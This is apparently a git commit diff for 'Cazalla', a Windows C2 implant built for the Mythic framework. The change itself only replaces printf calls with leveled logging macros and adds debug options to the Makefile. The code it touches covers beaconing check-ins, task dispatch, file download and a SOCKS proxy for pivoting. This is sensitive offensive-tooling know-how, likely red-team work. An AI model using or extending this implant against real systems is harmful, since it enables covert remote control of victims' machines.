Unified Debug
This commit is contained in:
@@ -5,7 +5,51 @@ CC = x86_64-w64-mingw32-gcc
|
|||||||
CFLAGS = -Wall -w -IInclude
|
CFLAGS = -Wall -w -IInclude
|
||||||
LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -mwindows
|
LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -mwindows
|
||||||
LFLAGS_CONSOLE = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt
|
LFLAGS_CONSOLE = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt
|
||||||
DFLAGS = -D_DEBUG -DDEBUG_SOCKS -g
|
|
||||||
|
# Debug parameters (can be overridden from command line)
|
||||||
|
# DEBUG_LEVEL: none=0, errors=1, warnings=2, info=3, all=4
|
||||||
|
# DEBUG_OUTPUT: console=0, file=1
|
||||||
|
DEBUG_LEVEL ?= 0
|
||||||
|
DEBUG_OUTPUT ?= 0
|
||||||
|
|
||||||
|
# Convert DEBUG_LEVEL string to number if needed
|
||||||
|
ifeq ($(DEBUG_LEVEL),none)
|
||||||
|
DEBUG_LEVEL_NUM = 0
|
||||||
|
else ifeq ($(DEBUG_LEVEL),errors)
|
||||||
|
DEBUG_LEVEL_NUM = 1
|
||||||
|
else ifeq ($(DEBUG_LEVEL),warnings)
|
||||||
|
DEBUG_LEVEL_NUM = 2
|
||||||
|
else ifeq ($(DEBUG_LEVEL),info)
|
||||||
|
DEBUG_LEVEL_NUM = 3
|
||||||
|
else ifeq ($(DEBUG_LEVEL),all)
|
||||||
|
DEBUG_LEVEL_NUM = 4
|
||||||
|
else
|
||||||
|
# Assume it's already a number
|
||||||
|
DEBUG_LEVEL_NUM = $(DEBUG_LEVEL)
|
||||||
|
endif
|
||||||
|
|
||||||
|
# Convert DEBUG_OUTPUT string to number if needed
|
||||||
|
ifeq ($(DEBUG_OUTPUT),console)
|
||||||
|
DEBUG_OUTPUT_NUM = 0
|
||||||
|
else ifeq ($(DEBUG_OUTPUT),file)
|
||||||
|
DEBUG_OUTPUT_NUM = 1
|
||||||
|
else
|
||||||
|
# Assume it's already a number
|
||||||
|
DEBUG_OUTPUT_NUM = $(DEBUG_OUTPUT)
|
||||||
|
endif
|
||||||
|
|
||||||
|
# Debug flags based on level
|
||||||
|
DEBUG_FLAGS = -DDEBUG_SOCKS -g
|
||||||
|
ifeq ($(DEBUG_LEVEL_NUM),0)
|
||||||
|
# No debug
|
||||||
|
DEBUG_FLAGS =
|
||||||
|
else
|
||||||
|
# Debug enabled - add defines for debug level and output
|
||||||
|
# DEBUG_LEVEL: 0=NONE, 1=ERR, 2=WRN, 3=INF, 4=ALL
|
||||||
|
# DEBUG_OUTPUT: 0=CONSOLE, 1=FILE
|
||||||
|
DEBUG_FLAGS += -DDEBUG_LEVEL=$(DEBUG_LEVEL_NUM)
|
||||||
|
DEBUG_FLAGS += -DDEBUG_OUTPUT=$(DEBUG_OUTPUT_NUM)
|
||||||
|
endif
|
||||||
|
|
||||||
# Directories
|
# Directories
|
||||||
SRC_FILES := *.c
|
SRC_FILES := *.c
|
||||||
@@ -28,19 +72,14 @@ $(BUILD_DIR)/cazalla.exe: $(SRC_FILES)
|
|||||||
$(CC) $^ -o $@ $(CFLAGS) -s -D_EXE $(LFLAGS)
|
$(CC) $^ -o $@ $(CFLAGS) -s -D_EXE $(LFLAGS)
|
||||||
|
|
||||||
$(BUILD_DIR)/cazalla-debug.exe: $(SRC_FILES)
|
$(BUILD_DIR)/cazalla-debug.exe: $(SRC_FILES)
|
||||||
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS_CONSOLE) $(DFLAGS)
|
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS_CONSOLE) $(DEBUG_FLAGS)
|
||||||
|
|
||||||
# DLL Target
|
# DLL Target
|
||||||
$(BUILD_DIR)/cazalla.dll: $(SRC_FILES)
|
$(BUILD_DIR)/cazalla.dll: $(SRC_FILES)
|
||||||
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) -s $(LFLAGS)
|
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) -s $(LFLAGS)
|
||||||
|
|
||||||
$(BUILD_DIR)/cazalla-debug.dll: $(SRC_FILES)
|
$(BUILD_DIR)/cazalla-debug.dll: $(SRC_FILES)
|
||||||
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) $(DFLAGS)
|
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) $(DEBUG_FLAGS)
|
||||||
|
|
||||||
# Optional: file-logging debug build (writes to C:\\Temp\\Ra.log)
|
|
||||||
debug_log: $(BUILD_DIR)/cazalla-debug-log.exe
|
|
||||||
$(BUILD_DIR)/cazalla-debug-log.exe: $(SRC_FILES)
|
|
||||||
$(CC) $^ -o $@ $(CFLAGS) -D_EXE -D_DEBUG_RELEASE $(LFLAGS_CONSOLE) $(DFLAGS)
|
|
||||||
|
|
||||||
# Clean up
|
# Clean up
|
||||||
clean:
|
clean:
|
||||||
|
|||||||
@@ -3,22 +3,14 @@
|
|||||||
#include "Config.h"
|
#include "Config.h"
|
||||||
#include "socks_manager.h"
|
#include "socks_manager.h"
|
||||||
|
|
||||||
#ifdef DEBUG_SOCKS
|
|
||||||
#define DBG_PRINTF(...) do { fprintf(stderr, "[MAINDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
|
|
||||||
#else
|
|
||||||
#define DBG_PRINTF(...) ((void)0)
|
|
||||||
#endif
|
|
||||||
|
|
||||||
CONFIG_CAZALLA* cazallaConfig = NULL;
|
CONFIG_CAZALLA* cazallaConfig = NULL;
|
||||||
|
|
||||||
VOID cazallaMain() {
|
VOID cazallaMain() {
|
||||||
|
_inf("Inicializando configuración de Cazalla");
|
||||||
printf("[CAZALLA] Inicializando configuración de Cazalla\n");
|
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
cazallaConfig = (CONFIG_CAZALLA*)LocalAlloc(LPTR, sizeof(CONFIG_CAZALLA));
|
cazallaConfig = (CONFIG_CAZALLA*)LocalAlloc(LPTR, sizeof(CONFIG_CAZALLA));
|
||||||
if (!cazallaConfig) {
|
if (!cazallaConfig) {
|
||||||
_err("Error: fallo en LocalAlloc para cazallaConfig.\n");
|
_err("Error: fallo en LocalAlloc para cazallaConfig");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -35,26 +27,23 @@ VOID cazallaMain() {
|
|||||||
cazallaConfig->encryptionEnabled = ENCRYPTION_ENABLED;
|
cazallaConfig->encryptionEnabled = ENCRYPTION_ENABLED;
|
||||||
|
|
||||||
// Debug: print the raw values
|
// Debug: print the raw values
|
||||||
printf("[CAZALLA] DEBUG: ENCRYPTION_ENABLED = %d\n", ENCRYPTION_ENABLED);
|
_dbg("ENCRYPTION_ENABLED = %d", ENCRYPTION_ENABLED);
|
||||||
printf("[CAZALLA] DEBUG: AESPSK_KEY = %s\n", AESPSK_KEY);
|
_dbg("AESPSK_KEY = %s", AESPSK_KEY);
|
||||||
printf("[CAZALLA] DEBUG: AESPSK_KEY length = %zu\n", strlen(AESPSK_KEY));
|
_dbg("AESPSK_KEY length = %zu", strlen(AESPSK_KEY));
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
// Initialize AESPSK encryption if enabled
|
// Initialize AESPSK encryption if enabled
|
||||||
if (cazallaConfig->encryptionEnabled) {
|
if (cazallaConfig->encryptionEnabled) {
|
||||||
printf("[CAZALLA] Inicializando cifrado AES256-HMAC...\n");
|
_inf("Inicializando cifrado AES256-HMAC...");
|
||||||
fflush(stdout);
|
|
||||||
if (crypto_init_aespsk(AESPSK_KEY)) {
|
if (crypto_init_aespsk(AESPSK_KEY)) {
|
||||||
printf("[CAZALLA] Cifrado habilitado\n");
|
_inf("Cifrado habilitado");
|
||||||
} else {
|
} else {
|
||||||
printf("[CAZALLA] ERROR: Falló la inicialización del cifrado\n");
|
_err("Falló la inicialización del cifrado");
|
||||||
cazallaConfig->encryptionEnabled = FALSE;
|
cazallaConfig->encryptionEnabled = FALSE;
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
printf("[CAZALLA] Cifrado deshabilitado\n");
|
_inf("Cifrado deshabilitado");
|
||||||
}
|
}
|
||||||
fflush(stdout);
|
_dbg("Config: id=%s host=%ls port=%u ssl=%d proxy=%d endpoint=%ls UA=%ls sleep=%u",
|
||||||
printf("[CAZALLA] Config: id=%s host=%ls port=%u ssl=%d proxy=%d endpoint=%ls UA=%ls sleep=%u\n",
|
|
||||||
cazallaConfig->idAgente,
|
cazallaConfig->idAgente,
|
||||||
cazallaConfig->hostName,
|
cazallaConfig->hostName,
|
||||||
cazallaConfig->puertoHttp,
|
cazallaConfig->puertoHttp,
|
||||||
@@ -63,32 +52,28 @@ VOID cazallaMain() {
|
|||||||
cazallaConfig->endPoint,
|
cazallaConfig->endPoint,
|
||||||
cazallaConfig->userAgent,
|
cazallaConfig->userAgent,
|
||||||
cazallaConfig->tiempoSleep);
|
cazallaConfig->tiempoSleep);
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
printf("[CAZALLA] Iniciando primer checkin...\n");
|
_inf("Iniciando primer checkin...");
|
||||||
fflush(stdout);
|
|
||||||
PAnalizador respuestaAnalizador = checkin();
|
PAnalizador respuestaAnalizador = checkin();
|
||||||
|
|
||||||
if (!respuestaAnalizador) {
|
if (!respuestaAnalizador) {
|
||||||
printf("[CAZALLA] Error en el primer checkin, cerrando.\n");
|
_err("Error en el primer checkin, cerrando");
|
||||||
fflush(stdout);
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
parseChecking(respuestaAnalizador);
|
parseChecking(respuestaAnalizador);
|
||||||
|
|
||||||
printf("[CAZALLA] Entrando en bucle principal (rutina). Sleep inicial: %u ms\n", cazallaConfig->tiempoSleep);
|
_inf("Entrando en bucle principal (rutina). Sleep inicial: %u ms", cazallaConfig->tiempoSleep);
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
while (TRUE) {
|
while (TRUE) {
|
||||||
rutina();
|
rutina();
|
||||||
|
|
||||||
/* Si SOCKS está activo, reducir sleep para mejorar latencia */
|
/* Si SOCKS está activo, reducir sleep para mejorar latencia */
|
||||||
if (socks_proxy_active) {
|
if (socks_proxy_active) {
|
||||||
DBG_PRINTF("SOCKS activo -> checkin rápido (100 ms)");
|
_dbg("SOCKS activo -> checkin rápido (100 ms)");
|
||||||
Sleep(100);
|
Sleep(100);
|
||||||
} else {
|
} else {
|
||||||
DBG_PRINTF("SOCKS inactivo -> durmiendo %u ms", cazallaConfig->tiempoSleep);
|
_dbg("SOCKS inactivo -> durmiendo %u ms", cazallaConfig->tiempoSleep);
|
||||||
Sleep(cazallaConfig->tiempoSleep);
|
Sleep(cazallaConfig->tiempoSleep);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -96,5 +81,5 @@ VOID cazallaMain() {
|
|||||||
|
|
||||||
VOID setUUID(PCHAR newUUID) {
|
VOID setUUID(PCHAR newUUID) {
|
||||||
cazallaConfig->idAgente = newUUID;
|
cazallaConfig->idAgente = newUUID;
|
||||||
DBG_PRINTF("UUID actualizado: %s", newUUID);
|
_dbg("UUID actualizado: %s", newUUID);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -5,11 +5,6 @@
|
|||||||
#pragma comment(lib, "iphlpapi.lib")
|
#pragma comment(lib, "iphlpapi.lib")
|
||||||
#include <iphlpapi.h>
|
#include <iphlpapi.h>
|
||||||
|
|
||||||
#ifdef DEBUG_SOCKS
|
|
||||||
#define DBG_PRINTF(...) do { fprintf(stderr, "[CHKDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
|
|
||||||
#else
|
|
||||||
#define DBG_PRINTF(...) ((void)0)
|
|
||||||
#endif
|
|
||||||
|
|
||||||
// === Obtener Direcciones IPs ===
|
// === Obtener Direcciones IPs ===
|
||||||
UINT32* obtenerDireccionIP(UINT32* numeroDeIPs) {
|
UINT32* obtenerDireccionIP(UINT32* numeroDeIPs) {
|
||||||
@@ -126,8 +121,7 @@ static VOID procesarSocksEntrante(PAnalizador respuesta) { (void)respuesta; }
|
|||||||
Check-in principal con soporte SOCKS
|
Check-in principal con soporte SOCKS
|
||||||
========================================================== */
|
========================================================== */
|
||||||
PAnalizador checkin() {
|
PAnalizador checkin() {
|
||||||
printf("[CHECKIN] Iniciando checkin\n");
|
_inf("Iniciando checkin");
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
UINT32 numeroDeIPs = 0;
|
UINT32 numeroDeIPs = 0;
|
||||||
PPaquete checkin = nuevoPaquete(CHECKIN, TRUE);
|
PPaquete checkin = nuevoPaquete(CHECKIN, TRUE);
|
||||||
@@ -155,20 +149,18 @@ PAnalizador checkin() {
|
|||||||
// === When mythic_encrypts=True, agent sends plaintext ===
|
// === When mythic_encrypts=True, agent sends plaintext ===
|
||||||
// The C2 profile (HTTP) handles encryption at HTTP layer
|
// The C2 profile (HTTP) handles encryption at HTTP layer
|
||||||
// No need for ECC key exchange in checkin
|
// No need for ECC key exchange in checkin
|
||||||
printf("[CHECKIN] Enviando paquete inicial (plaintext, C2 profile handles encryption)\n");
|
_dbg("Enviando paquete inicial (plaintext, C2 profile handles encryption)");
|
||||||
fflush(stdout);
|
|
||||||
PAnalizador respuestaAnalizador = mandarPaquete(checkin);
|
PAnalizador respuestaAnalizador = mandarPaquete(checkin);
|
||||||
liberarPaquete(checkin);
|
liberarPaquete(checkin);
|
||||||
|
|
||||||
if (!respuestaAnalizador) {
|
if (!respuestaAnalizador) {
|
||||||
printf("[CHECKIN] Error: respuestaAnalizador NULL. Cierre inminente.\n");
|
_err("Error: respuestaAnalizador NULL. Cierre inminente");
|
||||||
fflush(stdout);
|
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
DBG_PRINTF("checkin(): respuesta recibida, procesando tráfico SOCKS si existe");
|
_dbg("checkin(): respuesta recibida, procesando tráfico SOCKS si existe");
|
||||||
procesarSocksEntrante(respuestaAnalizador);
|
procesarSocksEntrante(respuestaAnalizador);
|
||||||
|
|
||||||
DBG_PRINTF("checkin(): completado");
|
_dbg("checkin(): completado");
|
||||||
return respuestaAnalizador;
|
return respuestaAnalizador;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -3,39 +3,27 @@
|
|||||||
#include "socks_manager.h"
|
#include "socks_manager.h"
|
||||||
#include "paquete.h"
|
#include "paquete.h"
|
||||||
|
|
||||||
#ifdef DEBUG_SOCKS
|
|
||||||
#define DBG_PRINTF(...) do { fprintf(stderr, "[CMDDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
|
|
||||||
#else
|
|
||||||
#define DBG_PRINTF(...) ((void)0)
|
|
||||||
#endif
|
|
||||||
|
|
||||||
/* Forward: handlers for the new commands */
|
/* Forward: handlers for the new commands */
|
||||||
static void startSocksHandler(PAnalizador analizadorTarea);
|
static void startSocksHandler(PAnalizador analizadorTarea);
|
||||||
static void stopSocksHandler(PAnalizador analizadorTarea);
|
static void stopSocksHandler(PAnalizador analizadorTarea);
|
||||||
|
|
||||||
BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
||||||
|
|
||||||
printf("[HANDLER] handleGetTasking() llamado\n");
|
_dbg("handleGetTasking() llamado");
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
UINT32 numeroTareas = getInt32(obtenerTarea);
|
UINT32 numeroTareas = getInt32(obtenerTarea);
|
||||||
printf("[HANDLER] Número de tareas: %u\n", numeroTareas);
|
_dbg("Número de tareas: %u", numeroTareas);
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
if (numeroTareas) {
|
if (numeroTareas) {
|
||||||
DBG_PRINTF("[Tareas] hay %d tareas !\n", numeroTareas);
|
_dbg("Hay %d tareas", numeroTareas);
|
||||||
}
|
}
|
||||||
|
|
||||||
for (UINT32 i = 0; i < numeroTareas; i++) {
|
for (UINT32 i = 0; i < numeroTareas; i++) {
|
||||||
SIZE_T tamanoTarea = getInt32(obtenerTarea) - 1; //restamos 1 al taskID
|
SIZE_T tamanoTarea = getInt32(obtenerTarea) - 1; //restamos 1 al taskID
|
||||||
printf("[HANDLER] Procesando tarea %u/%u, tamaño: %zu\n", i+1, numeroTareas, tamanoTarea);
|
_dbg("Procesando tarea %u/%u, tamaño: %zu", i+1, numeroTareas, tamanoTarea);
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
BYTE tarea = getByte(obtenerTarea);
|
BYTE tarea = getByte(obtenerTarea);
|
||||||
printf("[HANDLER] Comando recibido: 0x%02X (%d)\n", tarea, tarea);
|
_dbg("Comando recibido: 0x%02X (%d)", tarea, tarea);
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
DBG_PRINTF("[DEBUG] Tarea recibida: %x (Hex) | %d (Dec)", tarea, tarea);
|
|
||||||
|
|
||||||
PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea);
|
PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea);
|
||||||
PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea);
|
PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea);
|
||||||
@@ -65,13 +53,13 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
|||||||
} else if (tarea == DOWNLOAD_CMD) {
|
} else if (tarea == DOWNLOAD_CMD) {
|
||||||
DescargarFichero(analizadorTarea);
|
DescargarFichero(analizadorTarea);
|
||||||
} else if (tarea == START_SOCKS_CMD) {
|
} else if (tarea == START_SOCKS_CMD) {
|
||||||
DBG_PRINTF("Received START_SOCKS_CMD");
|
_dbg("Received START_SOCKS_CMD");
|
||||||
startSocksHandler(analizadorTarea);
|
startSocksHandler(analizadorTarea);
|
||||||
} else if (tarea == STOP_SOCKS_CMD) {
|
} else if (tarea == STOP_SOCKS_CMD) {
|
||||||
DBG_PRINTF("Received STOP_SOCKS_CMD");
|
_dbg("Received STOP_SOCKS_CMD");
|
||||||
stopSocksHandler(analizadorTarea);
|
stopSocksHandler(analizadorTarea);
|
||||||
} else {
|
} else {
|
||||||
DBG_PRINTF("[Tarea] Tarea desconocida: 0x%02x\n", tarea);
|
_wrn("Tarea desconocida: 0x%02x", tarea);
|
||||||
// liberar analizador si no será usado por otro handler
|
// liberar analizador si no será usado por otro handler
|
||||||
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
||||||
}
|
}
|
||||||
@@ -81,20 +69,14 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
BOOL commandDispatch(PAnalizador respuesta) {
|
BOOL commandDispatch(PAnalizador respuesta) {
|
||||||
|
_dbg("Respuesta tiene %zu bytes", respuesta->tamano);
|
||||||
printf("[DISPATCH] Respuesta tiene %zu bytes\n", respuesta->tamano);
|
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
// Debug: imprimir primeros bytes
|
// Debug: imprimir primeros bytes
|
||||||
if (respuesta->tamano > 0) {
|
if (respuesta->tamano > 0) {
|
||||||
printf("[DISPATCH] Primeros 8 bytes: ");
|
_dbg("Primeros 8 bytes: ");
|
||||||
fflush(stdout);
|
|
||||||
for (SIZE_T i = 0; i < (respuesta->tamano > 8 ? 8 : respuesta->tamano); i++) {
|
for (SIZE_T i = 0; i < (respuesta->tamano > 8 ? 8 : respuesta->tamano); i++) {
|
||||||
printf("0x%02X ", respuesta->original[i]);
|
_dbg(" 0x%02X ", respuesta->original[i]);
|
||||||
fflush(stdout);
|
|
||||||
}
|
}
|
||||||
printf("\n");
|
|
||||||
fflush(stdout);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// === IMPORTANTE: Cuando mythic_encrypts=True, Mythic agrega el UUID del callback al inicio ===
|
// === IMPORTANTE: Cuando mythic_encrypts=True, Mythic agrega el UUID del callback al inicio ===
|
||||||
@@ -102,32 +84,26 @@ BOOL commandDispatch(PAnalizador respuesta) {
|
|||||||
// Necesitamos leer y verificar el UUID primero
|
// Necesitamos leer y verificar el UUID primero
|
||||||
SIZE_T uuidLen = 36;
|
SIZE_T uuidLen = 36;
|
||||||
PCHAR callback_uuid = getString(respuesta, &uuidLen);
|
PCHAR callback_uuid = getString(respuesta, &uuidLen);
|
||||||
printf("[DISPATCH] UUID del callback: %.*s\n", (int)uuidLen, callback_uuid);
|
_dbg("UUID del callback: %.*s", (int)uuidLen, callback_uuid);
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
// Verificar que el UUID sea correcto (opcional, para debug)
|
// Verificar que el UUID sea correcto (opcional, para debug)
|
||||||
if (uuidLen != 36) {
|
if (uuidLen != 36) {
|
||||||
printf("[DISPATCH] WARNING: UUID length is not 36 bytes (%zu)\n", uuidLen);
|
_wrn("UUID length is not 36 bytes (%zu)", uuidLen);
|
||||||
fflush(stdout);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
BYTE tipoRespuesta = getByte(respuesta);
|
BYTE tipoRespuesta = getByte(respuesta);
|
||||||
printf("[DISPATCH] Tipo de respuesta: 0x%02X\n", tipoRespuesta);
|
_dbg("Tipo de respuesta: 0x%02X", tipoRespuesta);
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
if (tipoRespuesta == GET_TASKING) {
|
if (tipoRespuesta == GET_TASKING) {
|
||||||
printf("[DISPATCH] Llamando handleGetTasking()\n");
|
_dbg("Llamando handleGetTasking()");
|
||||||
fflush(stdout);
|
|
||||||
return handleGetTasking(respuesta);
|
return handleGetTasking(respuesta);
|
||||||
}
|
}
|
||||||
else if (tipoRespuesta == POST_RESPONSE) {
|
else if (tipoRespuesta == POST_RESPONSE) {
|
||||||
printf("[DISPATCH] Respuesta POST_RESPONSE\n");
|
_dbg("Respuesta POST_RESPONSE");
|
||||||
fflush(stdout);
|
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
printf("[DISPATCH] Tipo desconocido\n");
|
_wrn("Tipo desconocido");
|
||||||
fflush(stdout);
|
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -138,14 +114,12 @@ BOOL parseChecking(PAnalizador respuestaAnalizador) {
|
|||||||
// Primero leemos el UUID que Mythic agrega
|
// Primero leemos el UUID que Mythic agrega
|
||||||
SIZE_T tamanoUuid = 36;
|
SIZE_T tamanoUuid = 36;
|
||||||
PCHAR callback_uuid = getString(respuestaAnalizador, &tamanoUuid);
|
PCHAR callback_uuid = getString(respuestaAnalizador, &tamanoUuid);
|
||||||
printf("[CHECKIN] UUID del callback recibido: %.*s\n", (int)tamanoUuid, callback_uuid);
|
_dbg("UUID del callback recibido: %.*s", (int)tamanoUuid, callback_uuid);
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
// Luego leemos el tipo de mensaje
|
// Luego leemos el tipo de mensaje
|
||||||
BYTE tipoMensaje = getByte(respuestaAnalizador);
|
BYTE tipoMensaje = getByte(respuestaAnalizador);
|
||||||
if (tipoMensaje != CHECKIN) {
|
if (tipoMensaje != CHECKIN) {
|
||||||
printf("[CHECKIN] ERROR: Expected CHECKIN (0x%02X) but got 0x%02X\n", CHECKIN, tipoMensaje);
|
_err("Expected CHECKIN (0x%02X) but got 0x%02X", CHECKIN, tipoMensaje);
|
||||||
fflush(stdout);
|
|
||||||
liberarAnalizador(respuestaAnalizador);
|
liberarAnalizador(respuestaAnalizador);
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
@@ -155,7 +129,7 @@ BOOL parseChecking(PAnalizador respuestaAnalizador) {
|
|||||||
PCHAR nuevoUuid = getString(respuestaAnalizador, &tamanoUuid);
|
PCHAR nuevoUuid = getString(respuestaAnalizador, &tamanoUuid);
|
||||||
setUUID(nuevoUuid);
|
setUUID(nuevoUuid);
|
||||||
|
|
||||||
DBG_PRINTF("[Tareas] Tenemos nuevo UUID ! --> %s\n", nuevoUuid);
|
_dbg("Tenemos nuevo UUID ! --> %s", nuevoUuid);
|
||||||
|
|
||||||
// === Nota: Cifrado AESPSK ya inicializado en cazallaMain() ===
|
// === Nota: Cifrado AESPSK ya inicializado en cazallaMain() ===
|
||||||
// La clave AES se inyecta en tiempo de compilación, no se deriva en runtime
|
// La clave AES se inyecta en tiempo de compilación, no se deriva en runtime
|
||||||
@@ -168,8 +142,7 @@ BOOL parseChecking(PAnalizador respuestaAnalizador) {
|
|||||||
|
|
||||||
BOOL rutina() {
|
BOOL rutina() {
|
||||||
|
|
||||||
printf("[RUTINA] Enviando GET_TASKING...\n");
|
_dbg("Enviando GET_TASKING...");
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
PPaquete obtenerTarea = nuevoPaquete(GET_TASKING, TRUE);
|
PPaquete obtenerTarea = nuevoPaquete(GET_TASKING, TRUE);
|
||||||
addInt32(obtenerTarea, NUMBER_OF_TASKS);
|
addInt32(obtenerTarea, NUMBER_OF_TASKS);
|
||||||
@@ -177,13 +150,11 @@ BOOL rutina() {
|
|||||||
Analizador* respuestaAnalizador = mandarPaquete(obtenerTarea);
|
Analizador* respuestaAnalizador = mandarPaquete(obtenerTarea);
|
||||||
// sin respuesta
|
// sin respuesta
|
||||||
if (!respuestaAnalizador) {
|
if (!respuestaAnalizador) {
|
||||||
printf("[RUTINA] ERROR: No se recibió respuesta\n");
|
_err("No se recibió respuesta");
|
||||||
fflush(stdout);
|
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
printf("[RUTINA] Respuesta recibida, dispatch...\n");
|
_dbg("Respuesta recibida, dispatch...");
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
commandDispatch(respuestaAnalizador);
|
commandDispatch(respuestaAnalizador);
|
||||||
|
|
||||||
@@ -206,7 +177,7 @@ BOOL rutina() {
|
|||||||
- send response back to Mythic
|
- send response back to Mythic
|
||||||
============================ */
|
============================ */
|
||||||
static void startSocksHandler(PAnalizador analizadorTarea) {
|
static void startSocksHandler(PAnalizador analizadorTarea) {
|
||||||
DBG_PRINTF("startSocksHandler() enter");
|
_dbg("startSocksHandler() enter");
|
||||||
|
|
||||||
// Leer el UUID del task (primeros 36 bytes)
|
// Leer el UUID del task (primeros 36 bytes)
|
||||||
SIZE_T uuidLen = 36;
|
SIZE_T uuidLen = 36;
|
||||||
@@ -214,7 +185,7 @@ static void startSocksHandler(PAnalizador analizadorTarea) {
|
|||||||
|
|
||||||
// Leer el puerto
|
// Leer el puerto
|
||||||
UINT32 localPort = (UINT32)getInt32(analizadorTarea);
|
UINT32 localPort = (UINT32)getInt32(analizadorTarea);
|
||||||
DBG_PRINTF("startSocksHandler: taskId=%.*s port=%u", 36, taskUuid, localPort);
|
_dbg("startSocksHandler: taskId=%.*s port=%u", 36, taskUuid, localPort);
|
||||||
|
|
||||||
if (localPort == 0) localPort = 1080;
|
if (localPort == 0) localPort = 1080;
|
||||||
|
|
||||||
@@ -230,10 +201,10 @@ static void startSocksHandler(PAnalizador analizadorTarea) {
|
|||||||
// Crear paquete temporal para el output
|
// Crear paquete temporal para el output
|
||||||
PPaquete salida = nuevoPaquete(0, FALSE);
|
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||||
if (rc == 0) {
|
if (rc == 0) {
|
||||||
DBG_PRINTF("socks_manager_start_proxy(%u) OK", localPort);
|
_dbg("socks_manager_start_proxy(%u) OK", localPort);
|
||||||
PackageAddFormatPrintf(salida, FALSE, "SOCKS proxy started on port %u\n", localPort);
|
PackageAddFormatPrintf(salida, FALSE, "SOCKS proxy started on port %u\n", localPort);
|
||||||
} else {
|
} else {
|
||||||
DBG_PRINTF("socks_manager_start_proxy(%u) rc=%d", localPort, rc);
|
_err("socks_manager_start_proxy(%u) rc=%d", localPort, rc);
|
||||||
PackageAddFormatPrintf(salida, FALSE, "Failed to start SOCKS proxy on port %u (rc=%d)\n", localPort, rc);
|
PackageAddFormatPrintf(salida, FALSE, "Failed to start SOCKS proxy on port %u (rc=%d)\n", localPort, rc);
|
||||||
}
|
}
|
||||||
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
|
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||||
@@ -256,18 +227,18 @@ static void startSocksHandler(PAnalizador analizadorTarea) {
|
|||||||
- send response back to Mythic
|
- send response back to Mythic
|
||||||
============================ */
|
============================ */
|
||||||
static void stopSocksHandler(PAnalizador analizadorTarea) {
|
static void stopSocksHandler(PAnalizador analizadorTarea) {
|
||||||
DBG_PRINTF("stopSocksHandler() enter");
|
_dbg("stopSocksHandler() enter");
|
||||||
|
|
||||||
// Leer el UUID del task (primeros 36 bytes)
|
// Leer el UUID del task (primeros 36 bytes)
|
||||||
SIZE_T uuidLen = 36;
|
SIZE_T uuidLen = 36;
|
||||||
PCHAR taskUuid = getString(analizadorTarea, &uuidLen);
|
PCHAR taskUuid = getString(analizadorTarea, &uuidLen);
|
||||||
DBG_PRINTF("stopSocksHandler: taskId=%.*s", 36, taskUuid);
|
_dbg("stopSocksHandler: taskId=%.*s", 36, taskUuid);
|
||||||
|
|
||||||
int rc = socks_manager_stop_proxy();
|
int rc = socks_manager_stop_proxy();
|
||||||
DBG_PRINTF("socks_manager_stop_proxy() rc=%d", rc);
|
_dbg("socks_manager_stop_proxy() rc=%d", rc);
|
||||||
|
|
